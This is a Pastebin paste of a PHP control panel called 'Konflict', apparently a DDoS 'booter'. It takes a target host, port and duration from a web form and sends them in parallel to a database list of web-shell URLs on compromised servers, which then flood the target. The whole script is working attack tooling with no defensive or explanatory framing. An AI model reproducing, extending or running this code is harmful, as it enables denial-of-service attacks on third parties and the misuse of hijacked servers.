Advertisement
Guest User

Untitled

a guest
Sep 23rd, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. <?php
  2. session_start();
  3. if(!isset($_SESSION['username']))
  4. {
  5. header("Location: gtfonoob.php");
  6. }
  7.  
  8. if((isset($_GET['host'])) and (isset($_GET['port'])) and (isset($_GET['time']))){
  9. include_once("dbc.php");
  10. $konflicthost = $_GET['host'];
  11. $konflictport = $_GET['port'];
  12. $konflicttime = $_GET['time'];
  13.  
  14. $fullcurl = "?host=".$konflicthost."&time=".$konflicttime."&port=".$konflictport;
  15. ignore_user_abort(TRUE);
  16. $thequery = mysql_query("SELECT url FROM konflictshells");
  17. $mh = curl_multi_init();
  18. $handles = array();
  19.  
  20. while($resultSet = mysql_fetch_array($thequery)){
  21. $ch = curl_init($resultSet['url'] . $fullcurl);
  22. curl_setopt($ch, CURLOPT_TIMEOUT, 15); // SpeedyApoc, we can change this if needed
  23. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  24. curl_multi_add_handle($mh, $ch);
  25. $handles[] = $ch;
  26. }
  27.  
  28. $running = null;
  29. do {
  30. curl_multi_exec($mh,$running);
  31. usleep(200000);
  32. } while ($running > 0);
  33.  
  34. foreach($handles as $ch)
  35. {
  36. curl_multi_remove_handle($mh, $ch);
  37. }
  38. curl_multi_close($mh);
  39.  
  40. ?>
  41. <b><div id="attacked">Konflict Attack Sent</div></b>
  42. <?php
  43. }
  44.  
  45. ?>
  46.  
  47. <html>
  48.  
  49. <head>
  50. <title>Konflict</title>
  51. </head>
  52.  
  53. <body>
  54.  
  55. <table>
  56. <form action=? method=GET>
  57. <input type="hidden" name="action" value="boot">
  58. <tr>
  59. <td>Host:</td>
  60. <td><input type=text name=host value=></td>
  61. </tr>
  62. <tr>
  63. <td>Length (seconds):</td>
  64. <td><input type=text name=time value=></td>
  65. </tr>
  66. <tr>
  67. <td>Port (rand for random) :</td>
  68. <td><input type=text name=port value=80></td>
  69.  
  70. </table>
  71. <input type="submit" value="Boot">
  72. </form>
  73.  
  74.  
  75. </body>
  76.  
  77.  
  78. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement